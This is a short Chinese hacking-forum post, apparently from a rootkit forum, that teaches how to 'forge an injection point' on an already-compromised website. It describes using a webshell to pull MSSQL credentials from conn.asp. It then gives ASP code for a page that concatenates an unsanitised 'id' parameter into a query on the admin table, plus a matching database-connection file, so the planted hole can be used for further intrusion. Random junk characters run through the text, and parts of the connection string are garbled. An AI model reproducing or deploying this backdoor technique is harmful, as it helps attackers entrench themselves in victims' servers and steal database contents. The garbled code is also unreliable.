自己构造注入点方便入侵& N) Z" s* {/ A
: i; u; G, A, c1 P$ ]/ D# h今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
- f3 I: [0 R, C- ?" ^& |- D4 h6 L; n6 ?6 n
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!, @3 z- {" Z( s3 P# ?1 _) \' ]+ ?6 I
1 C F- a; M. H3 E( r$ R: }5 A3 h
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和3 m+ ]* c- G) Q7 W
, I/ W$ F' w2 Y
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表0 ?; G0 R$ B1 o3 ]9 y2 W9 j0 i
8 B I* h! y) i! N$ v! ]2 o因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
- X, i* A* F* M* d9 W
. A+ s5 u$ U" \, I$ o/ a程序代码9 `7 u e. H1 X" m" ^+ w2 f6 D
<!--#include file="xx.asp"-->
$ \, s o7 Z9 X<%
* T' X9 ^0 |; T- v" J) z/ sset rs=server.createobject("ADODB.recordset")
9 @- v9 c" k( [& m/ Z# x A! @5 Jid = request("id")$ w0 G4 V# p1 R' j# {: u
strSQL = "select * from admin where id=" & id
6 U5 C' b" X- O B! k: srs.open strSQL,conn,1,37 _4 j. k5 Z8 Y. a8 `) E
rs.close% s, [$ ] V$ ], p( J8 q
%>
- w3 [$ ]7 ]. }7 f
8 \& d* ?% a p7 @" n, K& B+ q# J把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在( p' P8 j% q0 X4 G- X3 V
- R4 I7 f( ^9 d8 [
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
, f5 J! X) l" y* m( L: c# T6 p: t, d% H
然后就要构造一个连接数据库的文件了,代码如下:
' k! @. E! L! E, w程序代码1 j; z5 M+ K+ @' X
<% 2 g$ N+ t9 `' u' `
strSQLServerName = "000.000.000.000" '服务器名称或地址
A- n( j3 ~8 n$ A. T: q& BstrSQLDBUserName = "sqlname" '数据库帐号
7 M& b' L y1 Z+ L5 J+ ostrSQLDBPassword = "sqlpass" '数据库密码( M |0 m: L& t# ?
strSQLDBName = "sqldataname" '数据库名称
4 b0 n" w o+ A4 DSet conn = Server.CreateObject("ADODB.Connection")
4 |3 v' r, I5 O% bstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
3 w2 P. Y2 I" v& e4 @* n, Aconn.open strCon/ z' @2 T* E Q3 R- Q
%>+ E6 w* W* d/ x* H
/ V# u9 t8 F( a% V# C) f( c这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,4 w) S5 g. M8 k8 W! Z2 ~+ J& e; d
- q0 K8 w' c: p就这样,正常情况下,就OK了,伪造成功……2 O3 a" [6 r" M- z. ?
7 @% U8 y9 o# K; Z' S. F
如果有什么问题可以提出来大家一起探讨解决。 |